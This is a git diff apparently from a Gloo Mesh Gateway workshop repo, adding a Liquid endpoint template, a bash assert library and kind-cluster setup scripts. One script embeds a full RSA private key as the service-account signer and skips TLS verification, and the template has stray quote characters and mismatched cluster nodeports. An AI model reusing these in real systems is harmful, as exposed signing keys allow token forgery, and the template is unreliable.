MDAxN5lK5yFfrL6X69tw06+UW6kt8ktsXHUwMDExWSlcdTAwMDdHqbZcdTAwMTRcdTAwMTXwj6lcdTAwMWK3Y/jBnns0IFOMjHBcdTAwMWVi49JPa+ZGXHUwMDE3l8VC8u0xXVx1MDAxY6SyKXZTjJJueHnkqXlkXHUwMDBmtLxcdTAwMDdcdTAwMWH2SWe1oirXbFx1MDAxNa6HNTVJvFx1MDAwZibNPaxCpoFcIlx1MDAxZFnPPzZcdTAwMWZvXHUwMDFlPkQ7XCKq9fY+Vlx1MDAxN5VlrYiGafw0fiwmXHUwMDEzKIlcdTAwMDdcdTAwMWXLsNG4oDaqqWG9KD/G9VxcM1W6TL/WPFrEbmZVNK5l8iUu8q3Pu3YpLWPoc7KPfuintcv2Puw6ou5+wSNcdTAwMTJ1Rbx9yEJcdTAwMTGiXHUwMDE1I1x1MDAxYtTC913P8DJ15qfxubRoXHUwMDEwjf9F7So4Y5wpXHUwMDFjZi1/XHUwMDA0qp5s93pnmeqo/uU+5DVcdTAwMWN3lakvT3RcdTAwMDei7lx1MDAxZMKEiUJcdTAwMDJJiYJXTb1cdTAwMTh/qFx1MDAwYtxuR+rk+uqt8ljtTj68gvVPg6gzoixcdTAwMDaLoE3Ncko595TbnVx1MDAwMoW38yMrqvXphk5cZsao3YtmPlOPrejtZeS1Qq6z/d2V8TdRP+jyntawh1xunTitVdj7sOv4qftcdTAwMDWPyU+9Y1x1MDAxY5SWglBFg2s5/+U8TXpcbmzQ0oH03Fx1MDAxN/FT2Fx1MDAwN8woN3HEkPlcdTAwMTBcdTAwMTLUy9G40ftycrqG162S08Ukt1x1MDAxM1bsXaSKXHUwMDBirVx1MDAwNVx1MDAxMjq4MfnSvy08llx1MDAwNqXbi8v7l1x1MDAxN9x8KF3NXHUwMDFlQi+tXHUwMDFhXHUwMDExSy1cdTAwMWXLqS1cdTAwMWPDq4FcdTAwMGV+dlxySLJcdTAwMDWQ/JZV6kxvXHUwMDExXG5rhlx1MDAxNDrRXG7+leF5tlJcdTAwMTg2293zXFw891bhkVdcdTAwMTVccsZcdTAwMTJ20WSuSFx1MDAxMLhU1XW1Vu26w4DN1fI10fs/57KVtGvkXHUwMDFkvI9cYiFcdTAwMWPMr+C6+elh8FKM9S9ux/ekXHUwMDFjLaQyLfH2XHUwMDFhdmnXUjNLKzD7XHUwMDE4KD1FlpNoqEbIQvz3Y6d8cV9ply75qi7Sjs18hThmMtsu0n6FXHUwMDA3N8mJpLI8vlx1MDAxZFJcXLqUXHUwMDAzklx1MDAwYru0x9uNpVt2TGn/OVx1MDAxN19p92mRiD0zVymTXGL0yFx1MDAwNo2N/e9lKFx1MDAxZE5aKmTJeUkjrkwk74qwY2kpiTFWXHUwMDEymfpXXHUwMDA3Olx1MDAxYTa1aqWQmsOVXGJWtry9RUVKy1hcboRiXHUwMDA1c6JEO4BAalx1MDAwMlx1MDAxM+DqX1s7XCJgXHUwMDA1On+dc2ZvXGJcdTAwMDb8XHUwMDE1Kc2lpopcdTAwMDOMStubfrYjXHUwMDA0I01cdTAwMTBBlVx1MDAxMrBPJGi/n+/wKEB3svWgXCLeW9A8XHUwMDFjm28x3l/2n5uyXHKsPCPKXGLigmFlq1xuuFx1MDAxNn5i9edpXHUwMDBms/FsXHUwMDEwXHUwMDFm5vK1cnp29TbZjm14hk1XiqN6db9cYoSlsDiCTSh+PC8hXHUwMDEw8HhqwcJcdTAwMGJJOdxcdTAwMWTmXal6J483c0naddbA5VJcdETp2tJcdTAwMThhRZCtdH21+9ZcdTAwMWKWq/90h3C9s3ZcdTAwMDPk2b2F+peXoXWd2ZY8gHtWidKMgGLcgFx1MDAwNVxcn9+8VurkRspsOlx1MDAxM71cdTAwMTme3z6xLWtEfaVcdTAwMThSXG68fiGGK1x1MDAxNWpcYqOWXFyI4YFcdTAwMGWetIszXHUwMDBlO+VQMVx1MDAwMEdM1lx1MDAxYfhhlcOAmryXwfqjeXtzmVx1MDAxZfVcdTAwMDbZRifbvnpou2tyU31XaEFMY0977ZEzW2Nh41x1MDAxMZHaNFx1MDAxNTYpZM7GwnvV5Kui9sUlXYX9XHUwMDAzXHUwMDExXHUwMDE24COa2T+CKdlQxfuXXHUwMDA0IJ5eXHUwMDA1Lk1cdTAwMGZkxoPHn+ryR4bSl0yrcN+c1qs5/VSc0u3wZVx1MDAxYjtjXHUwMDAxXHUwMDFiXHUwMDFiuVx1MDAxMIXmXHUwMDE2osqUPNZcYomVOpBAuCyulFx1MDAwMlx1MDAxOVwiXHUwMDFjKW94YZojLrczM1xiIVx1MDAxNrZVXHUwMDA3cWvGXHUwMDBl8mv9esP82VHqXHUwMDFhYEeb/2yf/mr0+X1ccrdcZuLSR0XiSKEzzHdjt3ek+t593UcmXHUwMDEw70QvZKfUKtUy9dTkvjN7jz3RYOM6vvLBc4htXGbNmUOMJdd4g1xcxPFl8v2yXHUwMDFlxez8IUtyXHUwMDAyJ/LPXHUwMDFmoa84p1x1MDAwNEHAqsFmw4SB0K1cdTAwMTZXxtxiXG7seSpBWij1XHUwMDE2OJBMVvQvLe/rxSNu7SWcbjxCTGFcdTAwMTR76bt9XHUwMDBi1ddcdTAwMWSfbdrf4WzSXHUwMDFitrzbO3y5R805re1INbG3XHUwMDAzWJFDISVoaUqC02p/XHUwMDAwXG6lc23ea1BcYlxu1oWiTDpMW4mNXHUwMDEwYiklbHyOvW3bXHUwMDAwQuip9Vx1MDAwNLckp1x1MDAxOFSvmidEuZSIw1xibGx4XHUwMDA3qDxcblfiNmL9y8vOiUKEM3E8pfdFJc29yLg/61pcIuNUXHUwMDBiYY4lXHUwMDE0YYyaXHUwMDAzIydcdTAwMWJcdTAwMDeSobTkRFx1MDAwYqAhUklnY4dT8p55bjHzcG6uXHKZtU9cdTAwMGJcdTAwMDVP3z1BppIq3IDgtNq/v91+zPZcdTAwMDP0UODCYlx1MDAwMlafSFx1MDAwMInlSiGmoLqlXHUwMDEwNWXxqKZyXHUwMDE1+PZjtEukLFx1MDAxYmGWLqSaXHUwMDAz25B25u2AXHUwMDE3xahiQlx1MDAxZFD9h8KiT0xGvYhcIoVcdJCy0V0lklx1MDAxZNcuXHUwMDBibiBiusNcdTAwMTjExUpiXHUwMDEzYqKIdoNcdTAwMTHAXHUwMDFhrIkp3Y3gP6LXXHUwMDE49V7T8u/5toRtcCulJlx1MDAxMpn+3lxiXHUwMDExZ3tcdTAwMThlXHSGKSPUlKhRSPCTRrZcYmZLXHUwMDFmIEZlXHUwMDEzm4G4dlx1MDAwMKJXxIPax6OUrJiba1x1MDAwN6SaWbZcdTAwMTlQ+7HNmVPU1o7nKb/mwajn913G7r9+XuDvYr//MFx1MDAwNvn5vd3+/mhUJzHvMiZ//dxcdTAwMWJcdTAwMDZhq+a+/c///vW//1x1MDAxZnbkYFx1MDAwMCJ9 + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientenforcerate limitshttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/partials/calculate-endpoints.liquid b/gloo-mesh/gateway/2-5/airgap/dedfault/partials/calculate-endpoints.liquid new file mode 100644 index 0000000000..e7bd4df90d --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/partials/calculate-endpoints.liquid @@ -0,0 +1,58 @@ +{%- assign fqdn_httpbin = vars.httpbin_fqdn | default: "httpbin.example.com" %} +{%- assign fqdn_bookinfo = vars.bookinfo_fqdn | default: "bookinfo.example.com" %} +{%- assign fqdn_portal = vars.portal_fqdn | default: "portal.example.com" %} +{%- assign fqdn_grpcbin = vars.grpcbin_fqdn | default: "grpcbin.example.com" %} +{%- assign fqdn_backstage = vars.backstage_fqdn | default: "backstage.example.com" %} +{%- assign fqdn_cluster1_httpbin = "cluster1-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster2_httpbin = "cluster2-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster1_bookinfo = "cluster1-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster2_bookinfo = "cluster2-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster1_portal = "cluster1-" | append: fqdn_portal %} +{%- assign fqdn_cluster2_portal = "cluster2-" | append: fqdn_portal %} +{%- assign fqdn_cluster1_grpcbin = "cluster1-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster2_grpcbin = "cluster2-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster1_backstage = "cluster1-" | append: fqdn_backstage %} +{%- assign fqdn_cluster2_backstage = "cluster2-" | append: fqdn_backstage %} +{%- if vars.node_port or vars.cluster1.node_port %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- if vars.node_port or vars.cluster2.node_port %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- endif %}{% comment %}cluster2 nodeport{% endcomment %} +{%- else %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- endif %} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/assert.sh b/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/assert.sh new file mode 100755 index 0000000000..75ba95ac90 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/assert.sh @@ -0,0 +1,252 @@ +#!/usr/bin/env bash + +##################################################################### +## +## title: Assert Extension +## +## description: +## Assert extension of shell (bash, ...) +## with the common assert functions +## Function list based on: +## http://junit.sourceforge.net/javadoc/org/junit/Assert.html +## Log methods : inspired by +## - https://natelandau.com/bash-scripting-utilities/ +## author: Mark Torok +## +## date: 07. Dec. 2016 +## +## license: MIT +## +##################################################################### + +if command -v tput &>/dev/null && tty -s; then + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + MAGENTA=$(tput setaf 5) + NORMAL=$(tput sgr0) + BOLD=$(tput bold) +else + RED=$(echo -en "\e[31m") + GREEN=$(echo -en "\e[32m") + MAGENTA=$(echo -en "\e[35m") + NORMAL=$(echo -en "\e[00m") + BOLD=$(echo -en "\e[01m") +fi + +log_header() { + printf "\n${BOLD}${MAGENTA}========== %s ==========${NORMAL}\n" "$@" >&2 +} + +log_success() { + printf "${GREEN}✔ %s${NORMAL}\n" "$@" >&2 +} + +log_failure() { + printf "${RED}✖ %s${NORMAL}\n" "$@" >&2 + file=.test-error.log + echo "$@" >> $file + echo "#############################################" >> $file + echo "#############################################" >> $file +} + + +assert_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected == $actual :: $msg" || true + return 1 + fi +} + +assert_not_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ ! "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected != $actual :: $msg" || true + return 1 + fi +} + +assert_true() { + local actual="$1" + local msg="${2-}" + + assert_eq true "$actual" "$msg" + return "$?" +} + +assert_false() { + local actual="$1" + local msg="${2-}" + + assert_eq false "$actual" "$msg" + return "$?" +} + +assert_array_eq() { + + declare -a expected=("${!1-}") + # echo "AAE ${expected[@]}" + + declare -a actual=("${!2}") + # echo "AAE ${actual[@]}" + + local msg="${3-}" + + local return_code=0 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=1 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=1 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) != (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_array_not_eq() { + + declare -a expected=("${!1-}") + declare -a actual=("${!2}") + + local msg="${3-}" + + local return_code=1 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=0 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=0 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) == (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_empty() { + local actual=$1 + local msg="${2-}" + + assert_eq "" "$actual" "$msg" + return "$?" +} + +assert_not_empty() { + local actual=$1 + local msg="${2-}" + + assert_not_eq "" "$actual" "$msg" + return "$?" +} + +assert_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ -z "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack doesn't contain $needle :: $msg" || true + return 1 + fi +} + +assert_not_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack contains $needle :: $msg" || true + return 1 + fi +} + +assert_gt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -gt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first > $second :: $msg" || true + return 1 + fi +} + +assert_ge() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -ge "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first >= $second :: $msg" || true + return 1 + fi +} + +assert_lt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -lt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first < $second :: $msg" || true + return 1 + fi +} + +assert_le() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -le "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first <= $second :: $msg" || true + return 1 + fi +} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/check.sh b/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/check.sh new file mode 100755 index 0000000000..fa52484b28 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/check.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + +printf "Waiting for all the kube-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n kube-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n kube-system pods are now ready \n" + +printf "Waiting for all the metallb-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n metallb-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n metallb-system pods are now ready \n" + diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/deploy-aws-with-calico.sh b/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/deploy-aws-with-calico.sh new file mode 100755 index 0000000000..1c7a2ec3cf --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/scripts/deploy-aws-with-calico.sh @@ -0,0 +1,240 @@ +#!/usr/bin/env bash +set -o errexit + +number=$1 +name=$2 +region=$3 +zone=$4 +twodigits=$(printf "%02d\n" $number) +kindest_node=${KINDEST_NODE:-kindest\/node:v1.28.0@sha256:b7a4cad12c197af3ba43202d3efe03246b3f0793f162afb40a33c923952d5b31} + +if [ -z "$3" ]; then + region=us-east-1 +fi + +if [ -z "$4" ]; then + zone=us-east-1a +fi + +if hostname -I 2>/dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm 